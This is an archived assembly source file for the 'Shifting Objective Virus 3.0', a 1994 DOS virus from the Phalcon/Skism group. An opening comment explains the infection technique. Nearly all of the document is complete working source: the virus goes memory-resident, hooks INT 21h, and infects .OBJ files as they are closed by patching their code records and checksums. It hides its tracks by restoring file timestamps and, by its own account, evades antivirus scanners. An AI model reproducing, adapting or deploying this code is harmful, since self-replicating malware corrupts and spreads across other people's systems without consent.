home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SHIFTOBJ.ASM < prev    next >
Assembly Source File  |  1996-03-17  |  16KB  |  439 lines

  1. ;+----------------------------------------------------------------------+
  2. ;ª  Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]  ª
  3. ;ª                                                                      ª
  4. ;ª  Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms!  ª
  5. ;ª                                                                      ª
  6. ;ª  This virus breaks new bounds in viral technology, best I know }-)   ª
  7. ;ªIt infects .OBJ files that are set up to compile to simple, stand-    ª
  8. ;ªalone .COM's.  The basic theory for this is the following:  It takes  ª
  9. ;ªthe pre-set compiling points of the modules in the .OBJ and moves themª
  10. ;ªup in memory so Objective will have room to insert itself underneath. ª
  11. ;ªWhen the file is compiled the virus is at the beginning of the file,  ª
  12. ;ªand the original code follows BUT - the original code's memory offsetsª
  13. ;ªare what they were BEFORE the virus infected the .OBJ.  Therefore, allª
  14. ;ªObjective has to do when it runs is go memory resident, and shift the ª
  15. ;ªhost code back down to where it starts at 100h in memory, and all is  ª
  16. ;ªwell.                                                                 ª
  17. ;ª                                                                      ª
  18. ;ª  Object files are basically a set of linked lists or fields, each    ª
  19. ;ªwith a three byte header.  The first byte is it's identity byte, whileª
  20. ;ªthe following word is the size of the field - header.  The very last  ª
  21. ;ªbyte of each record is a simple checksum byte - this can be gained    ª
  22. ;ªsimply by adding up all of the bytes in the field save the three byte ª
  23. ;ªheader and taking the negative (not reg/inc reg) so that the entire   ª
  24. ;ªfield value + checksum = 0.  Each field type has it's own identity    ª
  25. ;ªvalue, but we are only concerned with a few right now.                ª
  26. ;ª                                                                      ª
  27. ;ªThey are as follows:                                                  ª
  28. ;ª             80h  -  Starting field of a .OBJ file                    ª
  29. ;ª             8Ch  -  External definitions                             ª
  30. ;ª             8Ah  -  Ending field of a .OBJ file                      ª
  31. ;ª             A0h  -  Regular Code                                     ª
  32. ;ª             A2h  -  Compressed code (patterns/reiterated stuff)      ª
  33. ;ª                                                                      ª
  34. ;ª   In the A0h and A2h types of fields, there is one more thing that   ª
  35. ;ªconcerns us - the three bytes after the field size in the header      ª
  36. ;ªare indicators of the location in memory the code will be at - the    ª
  37. ;ªsecond and third byte form the word we will be concerned with, which  ª
  38. ;ªis a simple offset from CS:0000 that the code will begin.  Since we   ª
  39. ;ªare dealing with .COM files and want to put our virus at the beginningª
  40. ;ªof the file, we set the position field of the virus to 100h and the   ª
  41. ;ªpositions of all the other A0h and A2h fields to their old position   ª
  42. ;ªplus the virus size.  When the file is compiled, the virus will be    ª
  43. ;ªat the beginning and the host will follow.  Attaching the virus to    ª
  44. ;ªthe .OBJ itself is simple enough - just save the 8Ah field in memory, ª
  45. ;ªand write FROM IT'S OLD BEGINNING a header for your virus, your       ª
  46. ;ªvirus, then a checksum and the old 8Ah field.  At all times when      ª
  47. ;ªmodifying fields, the checksums must be fixed afterwards.             ª
  48. ;ª                                                                      ª
  49. ;ª   For the rest of the techniques that may be useful, I suggest you   ª
  50. ;ªlook at the following code for my Shifting Objective Virus.  I'd like ª
  51. ;ªto thank The Nightmare for his ideas on this when we sat around bored ª
  52. ;ªthose days.  Greets go out to all of Phalcon/Skism, Urnst Kouch,      ª
  53. ;ªMark Ludwig, TridenT, NuKE, and the rest of the viral community.      ª
  54. ;ªA special hello goes to Hermanni and Frisk.                           ª
  55. ;ª                                                                      ª
  56. ;ª                                           -  Stormbringer [P/S]      ª
  57. ;ª                                         --ñ-------------------       ª
  58. ;ª                                           -                          ª
  59. ;+----------------------------------------------------------------------+
  60. .model tiny
  61. .radix 16
  62. .code
  63.         org 100
  64. start:
  65.         push    ds
  66.         sub     ax,ax
  67.         mov     ds,ax
  68.         mov     ax,word ptr ds:[84]
  69.         mov     word ptr cs:[Fake21IP],ax
  70.         mov     ax,word ptr ds:[86]
  71.         mov     word ptr cs:[Fake21CS],ax
  72.         mov     ax,word ptr ds:[2f*4]
  73.         mov     word ptr cs:[Fake2fIP],ax
  74.         mov     ax,word ptr ds:[2f*4+2]
  75.         mov     word ptr cs:[Fake2fCS],ax
  76.         pop     ds
  77.  
  78. CheckIfResident:
  79.         mov     ax,0feadh               ;Check if we are in memory
  80.         call    fake21
  81.         cmp     ax,0d00dh
  82.         jne     ReserveMemory           ;Nope, go resident
  83.  
  84.         xor     ax,ax
  85.         mov     ds,ax
  86.         jmp     RestoreFile             ;Yep, skip it
  87.  
  88. ReserveMemory:
  89.         mov     ax,ds
  90.         dec     ax                      ;Go to MCB's
  91.         mov     ds,ax
  92.         sub     word ptr ds:[3],80      ;Grab 2K from this MCB
  93.         sub     word ptr ds:[12],80     ;And from the Top of MEM in PSP
  94.         xor     ax,ax
  95.         mov     ds,ax                   ;We're gonna take up 2k in memory.
  96.         sub     word ptr ds:[413],2     ;Reserve 2k from bios
  97.         int     12h                     ;Get bios memory amount in K
  98.         mov     cl,6
  99.         shl     ax,cl
  100.  
  101. PutVirusInMemory:
  102.         push    cs
  103.         pop     ds
  104.         sub     ax,10                   ;NewSeg:0 was in AX, now Newseg:100
  105.         mov     es,ax                   ;is start of reserved memory field....
  106.         mov     di,100
  107.         mov     si,100
  108.         mov     cx,end_prog-start
  109.         repnz   movsb                   ;Copy virus into memory
  110.  
  111. HookInterrupts:
  112.         xor     ax,ax
  113.         mov     ds,ax                   ;Hook Int 21h directly using
  114.         cli                             ;Interrupt table
  115.         mov     ax,offset Int21
  116.         xchg    word ptr ds:[84],ax
  117.         mov     word ptr es:[IP_21],ax
  118.         mov     ax,es
  119.         xchg    word ptr ds:[86],ax
  120.         mov     word ptr es:[CS_21],ax
  121.         sti
  122.  
  123.  
  124. RestoreFile:
  125.         push    cs
  126.         pop     es
  127.         mov     ax,0deadh       ;Call interrupt handler to restore file
  128.  
  129.         pushf
  130.         call    dword ptr ds:[84]
  131.  
  132.         mov     ax,4c01         ;Terminate if restore unsuccessful
  133.         call    fake21
  134.  
  135. InstallCHeck:
  136.         mov     ax,0d00dh       ;Tell prog we're already here
  137.         iret
  138.  
  139. Int21:
  140.         cmp     ax,0feadh
  141.         je      InstallCheck    ;Is it an install check?
  142.         cmp     ax,0deadh
  143.         je      RestoreHost     ;Or a restoration request?
  144.         cmp     ah,3e
  145.         jz      fileclose       ;Fileclose - go infect it if it's an .OBJ
  146. GoInt21:
  147.         db      0ea             ;Jump back into int 21h handler
  148. IP_21   dw      0
  149. CS_21   dw      0
  150.  
  151. RestoreHost:
  152.         push    es
  153.         pop     ds
  154.  
  155.         mov     di,sp           ;Set iret to return to beginning of code
  156.         mov     [di],100
  157.  
  158.         mov     di,100
  159.         mov     si,offset Host  ;Shift host back down over virus in memory
  160.         mov     cx,0f000
  161.         repnz   movsb
  162.  
  163.         mov     si,ax
  164.         xor     ax,ax
  165.         mov     bx,ax           ;Set registers as if just executing
  166.         mov     cx,ax
  167.         mov     dx,ax
  168.         mov     di,ax
  169.         iret                    ;Iret back into the host file
  170.  
  171. fileclose:
  172.         pushf
  173.         push    ax bx cx dx es ds si di bp
  174.         xor     ax,ax
  175.         xor     ax,1220h
  176.         call    fake2f
  177.         push    bx
  178.         mov     bl,byte ptr es:[di]     ;Good ol' SFT trick
  179.         mov     ax,1216h
  180.         call    fake2f
  181.         or      word ptr es:[di+2],2    ;Set file Read/Write
  182.         add     di,28
  183.         pop     bx
  184.         cmp     byte ptr es:[di+2],'J'  ;Check out filename
  185.         jne     Done_Close
  186.         cmp     word ptr es:[di],'BO'
  187.         jne     Done_Close
  188.         mov     word ptr cs:[Host_Handle],bx
  189.  
  190.         mov     ax,5700                 ;Save date/time stamp
  191.         call    fake21
  192.         push    cx dx
  193.         call    Infect_Obj              ;go infect it
  194.         pop     dx cx
  195.         mov     ax,5701                 ;Restore date/time stamp
  196.         call    fake21
  197.  
  198.    Done_Close:
  199.         pop     bp di si ds es dx cx bx ax      ;Exit and chain into int 21h
  200.         popf
  201.         jmp     GoInt21
  202.  
  203. Isanexec:
  204.         push    dx
  205.   GetAndSaveCurLoc:
  206.         mov     ax,4201         ;Save position of current module
  207.         xor     cx,cx
  208.         xor     dx,dx
  209.         call    fake21
  210.         push    dx ax
  211.   ModExecStartingPoint:
  212.      ReadOldStartingPoint:
  213.         mov     ah,3f
  214.         mov     dx,offset startingpt    ;Read starting point
  215.         mov     cx,3
  216.         call    fake21
  217.         mov     ax,word ptr [startingpt+1]
  218.         cmp     byte ptr firstexec,0    ;Check if this is the first exec field
  219.         jne     NotFirstExec
  220.  
  221.                                         ;If so, it should have a starting
  222.                                         ;point of 100h for a .COM for us
  223.                                         ;to infect it correctly
  224.  
  225. CheckifwillbeCOMfile:                   ;we're assuming that anything with
  226.         mov     byte ptr firstexec,1    ;a starting point of cs:100h will be
  227.                                         ;a com. while this isn't true all
  228.                                         ;the time, we can cross our fingers..
  229.         cmp     ax,100
  230.         je      NotFirstExec            ;File is good, continue infection.
  231.  
  232. Getouttahere:
  233.         pop     ax ax ax                ;won't be a .com file - don't infect.
  234.         ret
  235.  
  236. NotFirstExec:                           ;Either it isn't first exec or the
  237.         mov     cx,end_prog-start       ;check was good.. now add virus size
  238.         add     ax,cx                   ;to exec starting point.
  239.         mov     word ptr [startingpt+1],ax
  240.   GoBackToStartingPointinfo:
  241.         pop     dx cx
  242.         push    cx dx
  243.         mov     ax,4200                 ;go back to starting point field
  244.         call    fake21
  245.   AndWriteIt:
  246.         mov     ah,41
  247.         dec     ah
  248.         mov     cx,3
  249.         mov     dx,offset startingpt    ;and save it
  250.         call    fake21
  251.  
  252. GoToChecksumField:
  253.         mov     dx,fieldsize
  254.         sub     dx,4
  255.         xor     cx,cx                   ;go to checksum field
  256.         mov     ax,4201
  257.         call    fake21
  258.   ResetExecChecksum:
  259.         mov     ah,3f
  260.         mov     dx,offset Checksum      ;read checksum field
  261.         mov     cx,1
  262.         call    fake21
  263.         mov     cx,-1
  264.         mov     dx,-1                   ;go back to checksum field in file
  265.         mov     ax,4201
  266.         call    fake21
  267.         mov     cx,(end_prog-start)
  268.         sub     Checksum,ch             ;modify checksum to account for
  269.         sub     Checksum,cl             ;our change to starting point field.
  270.         mov     ah,41
  271.         mov     dx,offset Checksum      ;and write it
  272.         mov     cx,1
  273.         dec     ah
  274.         call    fake21
  275.   DoneIsExec:
  276.         pop     dx cx
  277.         mov     ax,4200         ;Restore original file pointer
  278.         call    fake21
  279.         pop     dx
  280.         jmp     NExtfield       ;and continue with infection
  281.  
  282. startingpt db      0,0,0
  283. firstexec   db           0
  284.  
  285. anexec:
  286.         jmp     isanexec
  287.  
  288. Bailout:
  289.         ret
  290.  
  291. Infect_Obj:
  292.         push    cs cs
  293.         pop     es ds
  294.         mov     firstexec,0             ;Init first exec field
  295.         call    go_bof                  ;Go to beginning of file
  296.  
  297.    ModExecFields:
  298.         call    ReadHeader      ;read the three byte header, field size in DX
  299.                                 ;Header type in AL
  300.  
  301.         cmp     al,8c           ;External module
  302.         je      bailout         ;It has external calls, which we can't
  303.                                 ;handle yet :(
  304.  
  305.         cmp     al,0a0          ;Executable module
  306.         je      anexec
  307.  
  308.         cmp     al,0a2          ;Reiterated executable module
  309.         je      anexec
  310.  
  311.         cmp     al,8a           ;Ending module
  312.         je      DoneModExecs
  313.  
  314.    NextField:
  315.         mov     ax,4201         ;Go to the next field
  316.         xor     cx,cx
  317.         call    fake21
  318.         jmp     ModExecFields
  319.  
  320. DoneModExecs:
  321.         mov     ax,4201
  322.         mov     cx,-1
  323.         mov     dx,-3           ;go to start of 8A field (end module)
  324.         call    fake21
  325.  
  326.         push    dx ax
  327.  
  328.         mov     cx,fieldsize
  329.         add     cx,3+10         ;the +10 is just to be safe
  330.         mov     ah,3f           ;load in last module
  331.         mov     dx,offset buffer
  332.         call    fake21
  333.         mov     endfieldsize,ax ;Read in the end module
  334.  
  335.         pop     dx cx
  336.         mov     ax,4200         ;Go back to the beginning of the module
  337.         call    fake21              ;now that we have it in memory
  338.  
  339. WriteOurHeader:
  340.         mov     ah,3f
  341.         mov     cx,endheader-ourheader  ;write the header for virus module
  342.         mov     dx,offset ourheader
  343.         inc     ah
  344.         call    fake21
  345.  
  346. WriteVirus:
  347.         mov     ah,3f
  348.         mov     cx,end_prog-start       ;write virus to file
  349.         mov     dx,100
  350.         inc     ah
  351.         call    fake21
  352.  
  353. CreateChecksum:
  354.         mov     si,100
  355.         mov     cx,end_prog-start
  356.         xor     ax,ax
  357.    AddupChecksum:                       ;Create checksum for virus
  358.         lodsb
  359.         add     ah,al
  360.         loop    AddupChecksum
  361.         not     ah
  362.         inc     ah
  363.         mov     Checksum,ah
  364.  
  365.    WriteChecksum:
  366.         mov     dx,offset Checksum
  367.         mov     cx,1
  368.         mov     ah,3f
  369.         inc     ah
  370.         call    fake21                      ;Then save the checksum in module
  371.  
  372. WriteEndModule:
  373.         mov     dx,offset Buffer
  374.         mov     cx,endfieldsize
  375.         mov     ah,3f
  376.         inc     ah
  377.         call    fake21                      ;And put the ending module back into
  378.         ret                             ;place.... we're done.
  379.  
  380.  
  381. ReadHEader:
  382.         mov     ah,3f
  383.         mov     dx,offset fieldheader
  384.         mov     cx,3                    ;Read module header for .obj files
  385.         call    fake21                      ;save module type in AL and
  386.         mov     al,fieldheader          ;module size in DX
  387.         mov     dx,fieldsize
  388.         ret
  389.  
  390.  
  391. Go_Bof:                                 ;Go to beginning of file
  392.         mov     al,0
  393.         jmp     short movefp
  394. Go_Eof:                                 ;Go to the end of the file
  395.         mov     al,02
  396. movefp:                                 ;Or just move the File pointer
  397.         xor     cx,cx
  398.         xor     dx,dx
  399.         mov     ah,42
  400.         call    fake21
  401.         ret
  402.  
  403. fake21:
  404.         pushf
  405.                 db      9a
  406. fake21IP        dw      0
  407. fake21CS        dw      0
  408.         ret
  409.  
  410. fake2f:
  411.         pushf
  412.                 db      9a
  413. fake2fIP        dw      0
  414. fake2fCS        dw      0
  415.         ret
  416.  
  417. Credits:
  418. db      'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]'
  419. db      'Kudos go to The Nightmare!'
  420. OurHeader:
  421.         db      0A0
  422.         dw      (end_prog-start+4)      ;our size in an .OBJ file
  423.         db      1
  424.         db      0                       ;starting position (cs:100h)
  425.         db      1
  426. endheader:
  427.  
  428. endfieldsize    dw      0
  429. Checksum        db      0
  430. fieldheader     db      0
  431.    fieldsize    dw      0
  432. Host_Handle     dw      0
  433. end_prog:
  434. Buffer:
  435. Host            db      90,90,90,90,90,90,90,90,0cdh,20
  436. end start
  437.  
  438.  
  439.